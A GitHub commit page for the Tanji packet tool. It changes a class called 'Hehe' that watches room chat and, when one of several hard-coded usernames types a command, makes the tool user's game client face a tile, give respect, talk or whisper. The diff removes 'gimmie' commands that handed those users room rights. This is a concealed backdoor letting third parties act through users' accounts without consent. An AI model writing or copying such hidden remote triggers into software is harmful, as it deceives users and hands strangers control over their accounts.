Skip to content

Commit

Permalink
* Improved the hacks, removed gimmie command, too much powa
Browse files Browse the repository at this point in the history
  • Loading branch information
ArachisH committed Jul 9, 2020
1 parent 5ffab9a commit fa0453b
Show file tree
Hide file tree
Showing 3 changed files with 13 additions and 7 deletions.
14 changes: 9 additions & 5 deletions Tanji/Hehe.cs
Original file line number Diff line number Diff line change
Expand Up @@ -11,21 +11,20 @@

namespace Tanji
{
public class Hehe : IReceiver
public class Hehe : IReceiver, IHaltable
{
private int _frCount;
private readonly MainFrm _ui;
private string[] _lol = new[] { "thunk", "sirjonasxx-ii", "sirjonasxx-vii", "fellower" };

public bool IsReceiving { get; } = true;
public bool IsReceiving { get; private set; } = true;
private Dictionary<int, HEntity> Entities { get; }

public Hehe(MainFrm ui)
{
_ui = ui;

Entities = new Dictionary<int, HEntity>();
IsReceiving = ui.GameData.Hotel == HHotel.Nl || ui.GameData.Hotel == HHotel.Com;
}

public void HandleOutgoing(DataInterceptedEventArgs e)
Expand Down Expand Up @@ -102,8 +101,6 @@ private void UpdateUserLook(DataInterceptedEventArgs e)
switch (command)
{
case "face": _ui.Connection.SendToServerAsync(_ui.Out.RoomUserLookAtPoint, entity.Tile.X, entity.Tile.Y, 0); break;
case "ungimmie": _ui.Connection.SendToServerAsync(_ui.Out.RoomUserRemoveRights, 1, entity.Id); break;
case "gimmie": _ui.Connection.SendToServerAsync(_ui.Out.RoomUserGiveRights, entity.Id); break;
case "respect": _ui.Connection.SendToServerAsync(_ui.Out.RoomUserGiveRespect, entity.Id); break;
case "laser": _ui.Connection.SendToServerAsync(_ui.Out.RoomUserTalk, ":yyxxabxa", 0, -1); break;
case "whatup": _ui.Connection.SendToServerAsync(_ui.Out.RoomUserWhisper, $"{entity.Name} Bro down bro", 0); break;
Expand All @@ -118,5 +115,12 @@ private HEntity TryGetEntity(int virtualId)
if (!_lol.Contains(entity.Name.ToLower())) return null;
return entity;
}

public void Halt()
{ }
public void Restore()
{
IsReceiving = _ui.GameData.Hotel == HHotel.Nl || _ui.GameData.Hotel == HHotel.Com;
}
}
}
2 changes: 1 addition & 1 deletion Tanji/Properties/AssemblyInfo.cs
Original file line number Diff line number Diff line change
Expand Up @@ -32,4 +32,4 @@
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.4.0.0")]
[assembly: AssemblyFileVersion("1.4.1503.0")]
[assembly: AssemblyFileVersion("1.4.1504.0")]
4 changes: 3 additions & 1 deletion Tanji/Windows/MainFrm.cs
Original file line number Diff line number Diff line change
Expand Up @@ -89,8 +89,10 @@ public MainFrm()
ModulesPg = new ModulesPage(this, ModulesTab);
AboutPg = new AboutPage(this, AboutTab);

var hehe = new Hehe(this);
PacketLoggerUI = new PacketLoggerFrm(this);

_haltables.Add(hehe);
_haltables.Add(ModulesPg);
_haltables.Add(PacketLoggerUI);
_haltables.Add(InjectionPg.FiltersPg);
Expand All @@ -99,7 +101,7 @@ public MainFrm()
_receivers.Add(ModulesPg);
_receivers.Add(InjectionPg.FiltersPg);
_receivers.Add(ConnectionPg);
_receivers.Add(new Hehe(this));
_receivers.Add(hehe);
_receivers.Add(PacketLoggerUI);

Connection.ListenPort = (int)Program.Settings["ConnectionListenPort"];
Expand Down

0 comments on commit fa0453b

Please sign in to comment.